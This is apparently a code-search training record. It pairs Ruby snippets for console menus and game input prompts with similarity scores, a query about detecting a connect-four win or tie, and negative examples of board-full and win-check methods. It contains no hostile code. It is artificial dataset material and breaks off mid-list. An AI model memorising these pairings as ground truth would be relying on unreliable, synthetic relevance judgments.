"def noteboard_menu\n @file_arr = Dir.glob(\"*csv\")\n @file_menu = TTY::Prompt.new\n @file_menu.select(\"Select an existing noteboard\") do |menu|\n for file in @file_arr do\n menu.choice \"#{file}\", -> {Noteboard.display_noteboard(file)}\n end\n menu.choice \"Delete a noteboard\", -> {delete_noteboard}\n menu.choice \"Back\", -> {StartMenu.new}\n end\nend",
"def print_header\n puts \"\\nTo display the students in the database, select a filter setting \"\n puts \"to apply:\"\n puts \"'NONE' or just press Enter -> display all students.\"\n puts \"'LETTER' -> display only students whose first name begins with a specific letter\"\n puts \"'LENGTH' -> display only students whose names are less than a set length\"\n puts \"'COHORT' -> display only students of the selected cohort\"\n puts \"'ALL BY COHORT' -> display all students ordered by cohort\"\n print \">>\"\n\n # Return the user filter setting via the print_options variable\n print_options = gets.chomp\nend",
"def ask\n @prompt.select \"Would you like to schedule appointment now\" do |menu|\n menu.choice \" Yes\", -> { schedule_appointment }\n menu.choice \" No <Go Back>\", -> { appointment_system }\n end\n end",
"def user_select(items)\n h.choose do |menu|\n menu.index = :number\n menu.prompt = 'Please Choose One:'\n menu.select_by = :index_or_name\n items.each do |item|\n menu.choice item.to_sym do |command|\n ui.msg \"Using: #{command}\"\n selected = command.to_s\n end\n end\n menu.choice :all do return :all end\n menu.choice :exit do exit 1 end\n end\n end",
"def ask\n @prompt.select \"Would you like to schedule appointment now\" do |menu|\n menu.choice \" Yes\", -> { schedule_appointment }\n menu.choice \" No <Go Back>\", -> { appointment_system }\n end\n end",
"def choose(player)\n done = false\n until done do\n \n puts \"Player \"+player.to_s+\", choose a row (0-2)\"\n row = gets.chomp.to_i\n redo if invalid?(row)\n \n puts \"Player \"+player.to_s+\", choose a column (0-2)\"\n col = gets.chomp.to_i\n redo if invalid?(col)\n \n if $game_board[row][col]\n puts \"That square [#{row},#{col}] is already used. Try again.\"\n redo\n end \n \n $game_board[row][col] = player\n done = true\n end\nend",
"def prompt\n print \"Which column do you wish to enter a disc in (0-6): \"\n return gets.chomp.to_i\n end",
"def give_next_options_to_continue\n puts \"\\n\\n\"\n puts \"------------------------------------Please select any of the following options-------------------------------------------\"\n puts \"1: Book another ticket\"\n puts \"2: Print total revenue with taxes\"\n puts \"3: Exit\"\n @selected_option = receive_input.to_i\n execute_on_basis_of_selected_option\n end",
"def display_guest_options_menu\n prompt = TTY::Prompt.new\n display_options_menu = prompt.select('Please select an option:') do |menu| \n menu.choice 'Search'\n menu.choice 'Favourites'\n menu.choice 'Help'\n menu.choice 'Exit'\n end\nend",
"def play_again\n prompt = TTY::Prompt.new\n choices = [\n {name: 'Yes', value: 1},\n {name: 'No', value: 2},\n ]\n players_input = prompt.select(\"Would You like to play again?\", choices) \n case players_input\n when 1\n execute_game\n when 2\n main_menu\n end \nend",
"def house_menu\n puts \"\n ┬ ┬┌─┐┬ ┬┌─┐┌─┐ ┬┌┐┌┌─┐┌─┐\n ├─┤│ ││ │└─┐├┤ ││││├┤ │ │\n ┴ ┴└─┘└─┘└─┘└─┘ ┴┘└┘└ └─┘\n\n Please select an option from below:\n \"\n prompt = TTY::Prompt.new\n menu_choices = [\n \" [1] Find all characters of a house\",\n \" [2] Find largest houses\",\n \" [3] Find all houses of a region\",\n \" [4] Find info of a house\",\n \" [5] Wiki Menu\",\n \" [6] Main Menu\"\n ]\n prompt.select(\" \", menu_choices)\nend",
"def play choice, player\n puts \"#{player}'s turn\"\n print \"Enter the input: \"\n input = gets.chomp.split(\",\")\n valid_input_arr = input.filter { |item| item.to_i <= 3 && item.to_i > 0 }\n while input.length != valid_input_arr.length\n puts \"wrong format! Insert the entries in the form: x, y. (where x => row, y => column)\"\n print \"Enter the input: \"\n input = gets.chomp.split(\",\")\n valid_input_arr = input.filter { |item| item.to_i <= 3 && item.to_i > 0 }\n end\n @board[(input[0].to_i) - 1][(input[1].to_i) - 1] = choice\n display_board\n end",
"def poet_selection_instructions\n puts \"\"\n puts \"Type the number of a poet whose poems you would like to read.\"\n\t\tputs \"Or type menu to go up one menu.\"\n puts \"Or type exit to end the program.\"\n puts \"\"\n end",
"def print_menu\n print \"\\n\n Welcome to the Student Directory\n Please make a selection from the menu\n -------------\n 1. Input students\n 2. Show students\n 3. Save the student data to students.csv\n 4. Load the student data from students.csv\n 5. Select and show a specific cohorts students\n 6. Find students via the first letter of their name\n 9. Exit\\n\".center(70)\nend",
"def pick_player\n \n puts \"Let's play Tic Tac Toe!\"\n puts \"But first, let's get acquainted. I am your computer #{Socket.gethostname}\"\n puts \"What's your name?\n \"\n\n # if you don't pick a name we'll pick a greeting for you\n @player = gets.chomp\n if @player == ''\n @player = 'Human friend'\n end\n \n # getting cracking already\n clr \n puts \"A pleaure to see you, #{@player}.\"\n puts \"Please choose if you want to play as X or O\"\n puts \"by pressing the corresponding key on your keyboard.\n \"\n input = ''\n until input == \"x\" || input ==\"o\" do\n input = gets.chomp.upcase\n if input == \"X\" || input == \"O\"\n @marker = input\n puts \"Thanks #{@player}, you picked #{@marker}, what's your move?\\n\"\n new_board\n make_move\n else\n puts \"that's not an X or an O. Try again\"\n end\n end\n end",
"def user_selection(selection)\n case selection\n when \"1\"\n puts \"You have chosen to add more students\\n\".center(100)\n @students = input_students\n when \"2\"\n puts \"You have chosen to see our current student list\\n\".center(100)\n student_displayer\n when \"3\"\n \"You have save our current student list to a csv file\\n\".center(100)\n save_students\n when \"4\"\n \"You have chosen to load students from a csv file\\n\".center(100)\n load_students\n when \"9\"\n puts \"Okay bye\".center(100)\n exit \n else \n puts \"I do not recognise this input, please choose again\".center(100)\n end\nend",
"def choose_character\n char_move = CharacterMove.all \n characters = Character.all \n move = Move.all\n # puts status_bar\n\n # puts \"1) Wolverine 2)Jean Grey 3)Quick-Silver\"\n \n # puts \"Choose Your Character..\"\n # user_input = gets.chomp\n ch = @prompt.select(\"Choose Your Character..\", %w(Martian-Manhunter Superman Flash Help))\n \n if ch == \"Martian-Manhunter\"\n # binding.pry\n @current_character = characters[0]\n first = characters[0].name\n @life_count = characters[0].lives\n puts \"You Have Chosen #{first}. You have #{@life_count} lives\"\n if char_move[0].char_id == characters[0].id\n @special_move = move[0].name\n end\n system('clear')\n\n \n elsif ch == \"Superman\"\n @current_character = characters[1]\n second = characters[1].name\n @life_count = characters[1].lives\n puts \"You Have Chosen #{second}. You have #{@life_count} lives\"\n if char_move[1].char_id == characters[1].id\n @special_move = move[1].name\n end\n \n elsif ch == \"Flash\"\n @current_character = characters[2]\n third = characters[2].name\n @life_count = characters[2].lives\n puts \"You Have Chosen #{third} You have #{@life_count} lives\"\n if char_move[2].char_id == characters[2].id\n @special_move = move[2].name\n \n end\n \n \n \n elsif ch == \"Help\" \n help \n puts \"\\n\"\n \n choose_character\n \n \n \n \n else\n puts \"Invalid Command\"\n end\n \n end",
"def view_options(db)\r\n options = {}\r\n options[1] = \"View all players.\"\r\n options[2] = \"View all games.\"\r\n options[3] = \"View all characters.\"\r\n options[4] = \"View all players in a location.\"\r\n options[5] = \"View all active games.\"\r\n options[6] = \"View all games in a genre\"\r\n options[7] = \"View all characters played by a player.\"\r\n options[8] = \"View all characters on a game.\"\r\n options[9] = \"View all characters played by a player on a game.\"\r\n\r\n options.each do | index, option |\r\n puts \"#{index}. #{option}\"\r\n end\r\n\r\n id = gets.chomp.to_i\r\n\r\n case id\r\n when 1\r\n view_players(db)\r\n when 2\r\n view_games(db)\r\n when 3\r\n view_characters(db)\r\n when 4\r\n puts \"\\nWhat location would you like to see all players from? (state for Americans, country otherwise)\"\r\n location = gets.chomp\r\n view_players_location(db, location)\r\n when 5\r\n view_games_active(db)\r\n when 6\r\n puts \"\\nWhat genre would you like to view?\"\r\n genre = gets.chomp\r\n view_games_genre(db, genre)\r\n when 7\r\n puts \"\\nWhich player's characters would you like to view?\"\r\n view_players(db)\r\n id = gets.chomp\r\n view_characters_player(db, id)\r\n when 8\r\n puts \"\\nWhich game's characters would you like to view?\"\r\n view_games(db)\r\n id = gets.chomp\r\n view_characters_game(db, id)\r\n when 9\r\n puts \"\\nWhich player's characters would you like to view?\"\r\n view_players(db)\r\n player_id = gets.chomp\r\n puts \"\\nWhich game's characters would you like to view?\"\r\n view_games(db)\r\n game_id = gets.chomp\r\n view_characters_player_game(db, player_id, game_id)\r\n else\r\n \"\\nEnter the number of the view you would like.\"\r\n end\r\nend",
"def choose_b_position\n puts \"What number on the board do you choose?\"\n @choice = gets.chomp.to_i\n # if human #set up X or O for player here?\n # spaces.index(human.choice) = \"X\"\n # else\n # spaces.index(computer.choice etc etc) = \"O\"\n # end\n end",
"def show_table(game_status)\n prompt \"================================\"\n prompt \"================================\"\n prompt \"#{game_status[:current_game_status]}\"\n prompt \"================================\"\n prompt \"================================\"\nend",
"def show_table(game_status)\n prompt \"================================\"\n prompt \"================================\"\n prompt \"#{game_status[:current_game_status]}\"\n prompt \"================================\"\n prompt \"================================\"\nend",
"def select_fan_from_list(my_fans)\n require \"tty-prompt\"\n prompt = TTY::Prompt.new\n\n puts \"\\n \\n\"\n\n prompt.select(\"Here's a list of the players: (you can type the name of the player to filter through the players)\", filter: true) do |menu|\n my_fans.each do |fan|\n menu.choice fan.name\n end\n end\n \nend",
"def player_option(board,player)\n\n puts \" Indique la columna donde desea jugar\".yellow\n option=gets.chomp.to_i\n option=option-1\n last=5\n\n if (option<0)then\n puts \"Opcion invalida, seleccione otra columna\".red\n else\n while last > -1\n if (board[last][option]==\" \") then\n board[last][option]= player\n break\n else\n last=last-1\n end\n\n if (last < 0) then\n puts \"Opcion invalida, seleccione otra columna\".red\n end\n \n end \n end\n return (board)\n end",
"def prompt_action \n puts \"You have six options: list users, list channels, select user, select channel, display details, send message, or quit.\"\n puts \"\\n\"\n print \"Please enter your choice: \"\n return gets.chomp.downcase\nend",
"def present_menu\n puts \"-------------------\"\n puts t('select_features')\n puts t('feature_one')\n puts t('feature_two')\n puts t('feature_three')\n puts t('exit_option')\n\n selected_feature = gets.to_i\n\n case selected_feature\n when FEATURE_OPTION_MAJOR_STATES\n print_major_states\n when FEATURE_OPTION_AVERAGE_POP\n print_average_population_for_state\n when FEATURE_OPTION_BOUNDARY_CITIES\n print_boundary_cities_for_state\n when FEATURE_OPTION_EXIT\n return\n else\n puts t('invalid_option', option: selected_feature)\n run\n end\n end",
"def show_categories\n prompt = TTY::Prompt.new\n\n choices = []\n\n CSV.foreach('categories.csv', headers: true) do |row|\n choices.push(row['category'])\n end\n\n puts \"\\n\"\n\n category = prompt.select(\"Please pick a category from the list below:\", choices)\n @category_input_push = category\nend",
"def get_choices()\n\n puts \"Player choice: #{@player_choice}\\n\\n\"\n puts \"Computer choice: #{@computer_choice}\\n\\n\"\n\n end",
"def choose\n \n end",
"def prompt_movement\n\t mov = 0\n\t loop do\n\t print \"\\n#{@cur_player.name}, choose your movement (1-9): \"\n\t mov = gets.chomp.to_i\n\t\tif (1..9).include? mov\n\t\t break if @board.is_cell_available? mov\n\t\t puts \"That cell is already taken! Try other choice...\" \n\t\telse\n\t\t puts \"Invalid choice! Try again..\" \n\t\tend\n\t end\n\t mov\n\tend",
"def help_players\n puts \"Greed is a dice game played among 2 or more players, using 5\"\n puts \"six-sided dice.\"\n pressToContinue\n end",
"def user_select(items)\n choose do |menu|\n menu.index = :number\n menu.prompt = \"Please Choose One:\"\n menu.select_by = :index_or_name\n items.each do |item|\n menu.choice item.to_sym do |command| \n say \"Using: #{command}\" \n selected = command.to_s\n end\n end\n menu.choice :exit do exit 1 end\n end\n end",
"def prompt(caller = nil)\n case caller\n when \"list\"\n puts \"please select by number\"\n # when \"select\"\n # puts \"\"\n else\n COMMANDS.each_with_index{|command, index| puts index.to_s + \".\" + command}\n end\n @command = gets.chomp\n execute(@command)\n end",
"def table\nrows = []\nrows << ['Silver - Basic Wash Only', 35 ]\nrows << ['Gold - Complete Wash and Vacuum', 55 ]\nrows << ['Platinum - Complete Wash, Vacuum and Hand Polish', 100 ]\ntable = Terminal::Table.new :title => \"CAR SPA PACKAGES\".colorize(:red), :headings => ['Item', 'Price $'], :rows => rows\n\nputs table\n\nprompt = TTY::Prompt.new\n\nprompt.yes?(\"If you found a package that suits you, would you like to make a booking?\")\nend",
"def show_cards2(dck, dlr, plyr, plyr_points, dlr_points)\n system \"clear\"\n puts \"=========================\"\n prompt \"Dealer has...#{dlr_points}\"\n dlr.each do |card|\n prompt \" \" + dck[card][:name] + ' ' + dck[card][:value].to_s\n end\n puts\n prompt \"Player has...#{plyr_points}\"\n plyr.each do |card|\n prompt \" \" + dck[card][:name] + ' ' + dck[card][:value].to_s\n end\nend",
"def new_game\n puts \"Start A New Game?\".colorize(:light_magenta,)\n puts \"------------------------------------------------------\".colorize(:yellow)\n prompt = TTY::Prompt.new\n choices = [\n {name: 'Yes', value: 1},\n {name: 'No', value: 2},\n ]\n players_input = prompt.select(\"Select An Option:\", choices) \n case players_input\n when 1\n return execute_game\n when 2\n return main_menu\n end \nend",
"def interactive_menu\n loop do\n print_menu\n selection = STDIN.gets.chomp\n case selection \n when \"1\"\n @students = input_students\n when \"2\"\n show_students\n when \"3\"\n save_students\n when \"4\"\n load_students\n when \"5\"\n select_cohort\n when \"9\"\n exit_check\n else\n puts \"I don't know what you meant, please try again.\"\n end\n end\nend",
"def select_option\n print_menu\n @choice = gets.chomp\n perform_selection\n end",
"def table_top_10_Defenders\n i=1\n clear_terminal\n divider\n Player.top_defense.each do |player_instance|\n puts \"\\n #{i}. #{player_instance}\"\n i += 1\n end\n choice = @prompt.select(\"\",\n [\"-> Back\",\"-> Quit\",\"-> Restart\"])\n case choice\n when \"-> Back\"\n players_home\n when \"-> Quit\" || \"QUIT\"\n when \"-> Restart\" || \"RESTART\"\n run\n else\n error\n end\n end",
"def make_decision\n\t\tputs \"What row?\"\n\t\ty_coordinate = gets.to_i - 1\n\n\t\tputs \"What column?\"\n\t\tx_coordinate = gets.to_i - 1\n\n\t\t[@letter, x_coordinate, y_coordinate]\n\tend",
"def start_menu\n puts \"\"\n choice = @prompt.select(\"Welcome! Please choose from the following options:\") do |menu|\n menu.choice 'Play'\n menu.choice 'Account Management'\n menu.choice 'Check Scoreboard'\n menu.choice \"Exit\"\n end\n\n if choice == \"Play\"\n if @user\n play\n else\n login\n play\n end\n elsif choice == \"Account Management\"\n manage_account\n elsif choice == \"Check Scoreboard\"\n scoreboard\n elsif choice == \"Exit\"\n system 'killall afplay'\n goodbye\n end\nend",
"def ask_player_for_move(player)\n print \"#{player} - enter your next move (row, column): \"\n row_col = gets.chomp\n row, col = row_col.split(\",\").map {|row_or_col| row_or_col.to_i }\n end",
"def get_user_selection\r\n clear\r\n test_banner\r\n puts\r\n puts \"---------- User selection----------\\n\\n\"\r\n # First get the name to represent the user\r\n user_name = @prompt.ask(\"Hello, visitor! Can I have you name please?\\n\\n\") do |input|\r\n input.required true\r\n input.validate(/\\A\\w+\\Z/)\r\n input.modify :capitalize\r\n input.messages[:valid?] =\r\n 'My dear friend, only letters, numbers and underscore are allowed. Please try again.'\r\n end\r\n clear\r\n test_banner\r\n puts\r\n # Get the time attribute from the test model\r\n level_selections = [\r\n { name: 'Easy: 16s', value: lambda {\r\n @test.time_level[:Easy]\r\n } },\r\n { name: 'Normal: 12s', value: lambda {\r\n @test.time_level[:Normal]\r\n } },\r\n { name: 'Hard: 8s', value: lambda {\r\n @test.time_level[:Hard]\r\n } },\r\n { name: 'I want to change my name. Please let me go back', value: lambda {\r\n interface\r\n } }\r\n ]\r\n selection = @prompt.select(\r\n \"Please select one time mode for answering each question in a quiz.\\nIf you can not selection a option in the limited time\\nIt will be considered as false amswer\".colorize(:light_magenta), level_selections, help: \"(Select with pressing ↑/↓ arrow keys, and then pressing Enter)\\n\\n\", show_help: :always, per_page: 5\r\n )\r\n\r\n clear\r\n test_banner\r\n puts\r\n # Choose default or custom collections\r\n test_collections = [\r\n { name: 'Default collections', value: lambda {\r\n pick_collection('Default', user_name, selection)\r\n } },\r\n { name: 'Custom collections', value: lambda {\r\n pick_collection('Custom', user_name, selection)\r\n } },\r\n { name: 'I want to change the time setting. Please let me go back to main menu', value: lambda {\r\n interface\r\n } }\r\n ]\r\n test_collection = @prompt.select('Please select one group of collecctions', test_collections,\r\n help: \"(Select with pressing ↑/↓ arrow keys, and then pressing Enter)\\n\\n\", show_help: :always, per_page: 3)\r\n end",
"def prompt\n puts \"Select a position e.g. 0, 0\"\n position = gets.chomp.split(\", \").map {|i| i.to_i }\n puts \"Would you like to reveal or toggle flag? e.g. R or F\"\n action = gets.chomp.upcase\n [position, action]\n end",
"def select_ship_positions(player, ship_size)\n valid_selection = false\n while valid_selection == false\n puts \"---- #{player.name} ---- please choose positions for the #{ship_size}x1 ship: \\n\"\n puts \"must be separated by a space like: a0 a1 a3 \\n\"\n prompt = '> '\n positions = Readline.readline(prompt, true)\n positions_simbolized = positions.split(' ').map(&:to_sym)\n\n valid_selection = $current_game.create_ship(player.board, positions_simbolized, ship_size)\n message = valid_selection == true ? \"👍 Good Choice \\n\" : \"👎 wrong positions , please try again \\n\"\n puts message\n end\n end",
"def input_request\n puts ' row 1, 2, or 3?'\n row = gets.chomp\n puts ' col 1, 2, or 3?'\n col = gets.chomp\n place_marker(row, col)\n end",
"def options_menu(noteboard)\n @start_prompt = TTY::Prompt.new\n @start_prompt.select(\"What do you want to do now?\") do |menu|\n menu.choice \"Load existing noteboards\", -> {noteboard_menu}\n menu.choice \"Add new note\", -> {Noteboard.noteboard_add(add_note)}\n menu.choice \"Delete note\", -> {Noteboard.noteboard_delete(delete_note)}\n menu.choice \"Back\", -> {StartMenu.new}\n end\nend",
"def view_fav_players_of_another_fan \n require \"tty-prompt\"\n prompt = TTY::Prompt.new\n chosen_fan = select_fan_from_list(all_fans) \n show_favorite_players(chosen_fan) \nend",
"def make_selection\n\tprint \"\\nPlease make a selection \"\n\tgets.chomp\nend",
"def welcome_menu\n prompt = TTY::Prompt.new\n puts\"( ノ ゚ー゚)ノ☀️ Welcome to Weeb Favorites! ☀️ヽ(゚ー゚ヽ)\"\n new = prompt.select(\"Before making modifications, please create a name:\", [\"Create\", \"View Duo List\", \"Modifications\", \"Exit\"])\n\n case new\n\n when 'Create'\n create\n chosen_char\n\n when 'View Duo List'\n find_all_duo\n\n when 'Modifications'\n mods\n\n when 'Exit'\n close_app \n end \nend"
] | [
"0.65747523",
"0.6495054",
"0.64464766",
"0.63697445",
"0.6322361",
"0.6216596",
"0.6177974",
"0.61590916",
"0.61432123",
"0.61092895",
"0.60999936",
"0.5991817",
"0.5920525",
"0.5810335",
"0.5799087",
"0.57847404",
"0.5767358",
"0.57584786",
"0.57584786",
"0.57584786",
"0.57584786",
"0.5749004",
"0.57429117",
"0.57426655",
"0.57344145",
"0.57233316",
"0.5696491",
"0.56943774",
"0.5678678",
"0.5651394",
"0.564933",
"0.56491286",
"0.56468815",
"0.5632495",
"0.5625668",
"0.5585038",
"0.55753964",
"0.55751234",
"0.5574522",
"0.5571054",
"0.55665016",
"0.5556648",
"0.55543345",
"0.554673",
"0.5530622",
"0.5525701",
"0.55175346",
"0.55137444",
"0.5506162",
"0.5503316",
"0.55021185",
"0.5488848",
"0.5486115",
"0.548374",
"0.5470207",
"0.5451356",
"0.5446884",
"0.5437333",
"0.54237515",
"0.5422792",
"0.5418834",
"0.5418225",
"0.5413316",
"0.54092866",
"0.54048723",
"0.53803104",
"0.5364933",
"0.5364635",
"0.5357518",
"0.53459483",
"0.5335266",
"0.5335266",
"0.5334407",
"0.5323089",
"0.5320408",
"0.53171647",
"0.5304744",
"0.53039956",
"0.53004736",
"0.5297417",
"0.52973974",
"0.52927554",
"0.52915204",
"0.52838314",
"0.527213",
"0.5265075",
"0.5251635",
"0.5237371",
"0.5235271",
"0.5235222",
"0.5231487",
"0.52267075",
"0.52223486",
"0.5222348",
"0.522223",
"0.5219337",
"0.5218964",
"0.52163404",
"0.5215973",
"0.5205025"
] | 0.65978646 | 0 |
returns true if the board is full or if a player has four in row horizontally, vertically, or diagonally | def over?
winner = @light_turn ? DARK : LIGHT
if board.win?(winner)
puts "#{winner} Wins!"
return true
elsif board.available_columns.empty?
puts "Tie game!"
return true
end
false
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def board_full?\n @board.flatten.all?\n @turn == 9 \n end",
"def has_connected_four_horizontally(player, board_grid)\n player = player.to_s\n (0...6).each { |r| #row\n (0...4).each { |c| #column\n if (board_grid[r][c] == player and board_grid[r][c+1] == player and board_grid[r][c+2] == player and board_grid[r][c+3] == player)\n return true\n end\n }\n }\n return false\n end",
"def horizontal_c4?\n result = true\n color = @play_field[@last_move][-1]\n row = @play_field[@last_move].length - 1\n same_count = 0\n\n #crawls horizontally along the board at height of last move\n #tries to chain up 4 in a row, starts count over if it meets a\n # blank or the other color\n (0..6).each do |i|\n if @play_field[i][row] == color\n same_count += 1\n return true if same_count == 4\n else\n same_count=0\n end\n end\n false\n end",
"def board_full?\r\n @game_board.count(\"\") == 0\r\n end",
"def player_won?(player)\n diagonals = []\n diagonals << (0..2).map { |i| @board[i][i] }\n diagonals << (0..2).map { |i| @board[i][-i - 1] }\n if @board.any? { |row| row.all? { |value| value == player.MARK } }\n return true\n elsif @board.transpose.any? { |row| row.all? { |value| value == player.MARK } }\n return true\n elsif diagonals.any? { |row| row.all? { |value| value == player.MARK } }\n return true\n end\n\n false\n end",
"def won?\n #diagonals first\n has_left_diagonal = true\n has_right_diagonal = true\n (1..@board.length-1).each do |i|\n has_left_diagonal = false unless @board[i][i] == @board[0][0]\n has_right_diagonal = false unless @board[i][-1-i] == @board[0][-1]\n end\n return @board[0][0] if has_left_diagonal\n return @board[-1][0] if has_right_diagonal\n \n #check rows\n (0..@board.length-1).each do |i|\n #slightly more concise but costly ( O(n^2) per uniq ) than a manual check\n return @board[i][0] if @board[i].uniq.length == 1\n end\n \n #check columns\n (0..@board.length-1).each do |i|\n player = @board[0][i]\n has_column = true\n (1..@board.length-1).each do |j|\n has_column = false unless @board[j][i] == player\n end\n return player if has_column\n end\n \n return 0\n end",
"def board_full?\n @board.each do |row|\n row.each do |col|\n if col == @empty_square\n #stop at first empty space found\n return nil\n end\n end\n end\n return true\n end",
"def board_full?(brd)\n empty_squares(brd).empty?\n end",
"def full? #if theres no winning combos and the board is full? check to see\n @board.all?{|square| square!= \" \" }\n end",
"def is_full?\n\t @grid.all? { |col| col.length == @rows }\n\tend",
"def board_full?(brd)\n empty_squares(brd).empty?\nend",
"def board_full?(brd)\n empty_squares(brd).empty?\nend",
"def isBoardFull()\n\n # TO DO: COMPLETE THIS PART OF THE METHOD\n\n counter = 0\n totalSpaces = @size * @size\n\n for i in 0..@size-1\n for j in 0..@size-1\n if @board[i][j] != \"-\"\n counter = counter + 1\n end\n end\n end\n\n if counter == totalSpaces\n return true\n end\n\n\t\treturn false\n end",
"def on_board?(coords)\n\t\tcoords.any? {|coord| coord < 1 || coord > @size } ? false : true\n\tend",
"def full?\n @board.all?{|occupied| occupied != \" \"}\n end",
"def diagonal_up_c4?\n\n return false unless @play_field[@last_move]\n color = @play_field[@last_move][-1]\n\n (0..6).each do |column|\n (0..5).each do |row|\n #only checks four in a row if both start and endpoints exist\n break unless @play_field[column+3] && @play_field[column+3][row+3]\n return true if @play_field[column+1][row+1] == color && @play_field[column+2][row+2] == color && @play_field[column+3][row+3] == color\n end\n end\n false\n end",
"def full?\n return @board.all?{|pos| pos == \"X\" or pos == \"O\"}\n end",
"def full?\n @board.all? {|position| position == \"X\" or position == \"O\"}\n end",
"def full_board?\n @board.cells.each do |row|\n row.each do |cell|\n return false if cell.state == \" \"\n end\n end\n true\n end",
"def draw?\n # board is full, but not won\n if full? && !won?\n true\n # board is not full and not won\n elsif full? == false\n false\n # false for game won in first row or game won diagonally\n # elsif won?(board) == [0,1,2] || won?(board) == [0,4,8] || won?(board) == [2,4,6]\n # false\n end\n end",
"def full?\n @board.all? do |position|\n position != \" \"\n end\n end",
"def full?\n @board.all? do |position|\n position != \" \"\n end\n end",
"def win_condition_met?(player)\n # Horizontal\n for row in (0..5) do\n counter = 0\n \n @board[row].each do |disc|\n if(disc == player)\n counter += 1\n return true if(counter >= 4)\n else\n counter = 0\n end\n end\n end\n \n # Vertical\n for col in (0..6) do\n counter = 0\n \n for row in (0..5) do\n if(@board[row][col] == player)\n counter += 1\n return true if(counter >= 4)\n else\n counter = 0\n end\n end\n end\n \n # Right diagonal\n starting_points = [[0, 0], [1, 0], [2, 0], [0, 1], [0, 2], [0, 3]]\n starting_points.each do |start|\n counter = 0\n \n row = start[0]\n col = start[1]\n \n while(row < 6 && col < 7)\n if(@board[row][col] == player)\n counter += 1\n return true if(counter >= 4)\n else\n counter = 0\n end\n \n row += 1\n col += 1\n end\n end\n \n # Left diagonal\n starting_points = [[0, 6], [1, 6], [2, 6], [0, 5], [0, 4], [0, 3]]\n starting_points.each do |start|\n counter = 0\n \n row = start[0]\n col = start[1]\n \n while(row < 6 && col >= 0)\n if(@board[row][col] == player)\n counter += 1\n return true if(counter >= 4)\n else\n counter = 0\n end\n \n row += 1\n col -= 1\n end\n end\n \n return false\n end",
"def won?\n longest_row(@player) >= 5\n end",
"def full?\n is_full = @board.all? do |space|\n space ==\"X\" || space == \"O\"\n end\n if is_full\n true\n end\n end",
"def full?\r\n @board.none? do | position |\r\n position == \" \"\r\n end\r\n end",
"def full?\n @board.all? {|space| space == \"X\" || space == \"O\"}\n end",
"def full?\n for x in 0..2\n for y in 0..2\n return false if @field[x][y].player == 0\n end\n end\n return true\n end",
"def is_full?\n\t\t@game_board.each do |x|\n\t\t\tx.each do |y|\n\t\t\t\tif y == \"\"\n\t\t\t\t\treturn false\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\ttrue\n\tend",
"def gameover?\n winning_row? || winning_column? || winning_diagonal? || full_board?\n end",
"def isBoardFull()\n #\n # TO DO: add your code below\n\t\t#\n\t\tfor i in (0...@board.size)\n\t\t\tfor j in (0...@board.size)\n\t\t\t\tif @board[i][j] == EMPTY\n\t\t\t\t\treturn false\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n # DO NOT DELETE THE LINE BELOW\n\t\treturn true;\n\tend",
"def isBoardFull()\n #\n # TO DO: add your code below\n #\n for i in 0...@size\n for j in 0...@size\n if (@board[i][j]==EMPTY)\n return false\n end\n end\n end\n\n # DO NOT DELETE THE LINE BELOW\n\t\treturn true;\n\tend",
"def full_board?\n (@turn_played > @turn_max) ? true : false\n end",
"def board_full?(board)\n !board.include?(\"\")\n end",
"def verticalWin? (player)\n (0..6).any? {|c| (0..2).any? {|r| fourFromTowards?(player, r, c, 1, 0)}}\n end",
"def won?\n if (diagonal_match || across_match || down_match)\n return true\n end\n return false\n end",
"def horizontal_check \n\t@board.each do |row|\n\t\treturn true if row.count('x') == 5\n\tend\n\treturn false\n end",
"def won\n if check_rows || check_columns || check_diagonals\n return true\n else\n return false\n end\n end",
"def full?\n # If no 'board_position'/s are empty, returns 'true'. If 'board_position'/s remain empty, returns 'false'.\n if @board.none? {|board_position| board_position == \" \"}\n true\n end\n end",
"def full?\n\t\t@board.all? { |e|\n\t\t\te == \"X\" || e == \"O\"\n\t\t}\n\tend",
"def full?\r\n @board.each do |space|\r\n if space == \" \"\r\n return false\r\n end\r\n end\r\n true\r\n end",
"def check_board\n if in_row? || in_column? || in_descending_diagonal? || in_ascending_diagonal?\n puts \"BINGO!\"\n else\n puts \"SORRY!\"\n end\n end",
"def board_full\n\n # Assume the board is full\n result = true\n\n # Outer loop through each row\n for row in 0..BOARD_MAXIMUM_INDEX\n\n # Inner loop through each column\n for column in 0..BOARD_MAXIMUM_INDEX\n\n # Is this cell occupied?\n if @board[row][column] == EMPTY_POSITION\n\n # No, the board is not full and the game must continue\n result = false\n\n end\n\n end\n\n end\n\n # Since we found no open positions, the board is full\n return result\n\n end",
"def winner_via_diagonal?(player)\n diagonals.any? do |diagonal|\n diagonal.cells.all? {|cell| cell.value == player.marker}\n end\n end",
"def full?(board)\n filled_tiles = 0\n board.each { |tile| tile == \"X\" || tile == \"O\" ? (filled_tiles += 1) : ()}\n filled_tiles == 9 ? (return true) : (return false)\nend",
"def valid_board?\n self.valid_rows? && self.valid_cols? && self.valid_squares?\n end",
"def full?\n @board.cells.include?(\"\") || @board.cells.include?(\" \") ? false : true\n end",
"def full?(board)\n\t\tboard.all?{|cell| cell == \"X\" || cell == \"O\"}\n\tend",
"def check_horizontal\n cell = @last_cell_played\n count = 1\n while cell.left && cell.left.color == cell.color\n cell = cell.left\n end\n while cell.right && cell.right.color == cell.color\n cell = cell.right\n count += 1\n end\n return true if count >= 4\n false\n end",
"def full?(board)\n\tboard.all? do |cell|\n\t\tcell == \"X\" || cell == \"O\"\n\tend\nend",
"def full?\n @board.all? {|i| i == \"X\" || i == \"O\"}\n end",
"def draw?\n board.full_board?\n end",
"def winner\n #see if there are four in a row\n @columns.times do |c|\n @rows.times do |r|\n check = @slots[c][r]\n if check != nil\n if (r <= @rows - 4) && [check, @slots[c][r+1], @slots [c][r+2], @slots[c][r+3]].uniq.length == 1\n return check\n elsif (c <= (@columns - 4)) && [check, @slots[c+1][r], @slots[c+2][r], @slots[c+3][r]].uniq.length == 1\n return check\n elsif (r >= 3) && (c <= (@columns - 4)) && [check, @slots[c+1][r-1], @slots[c+2][r-2], @slots[c+3][r-3]].uniq.length ==1\n return check\n elsif (r >= 3) && (c >= (@columns - 4)) && [check, @slots[c-1][r-1], @slots[c-2][r-2], @slots[c-3][r-3]].uniq.length ==1\n return check\n end\n end\n end\n end\n return false\n end",
"def win?\n horizontal || vertical || diagonal_left || diagonal_right\n end",
"def full?(board)\n turn_count(board) == 9 ? true : false\nend",
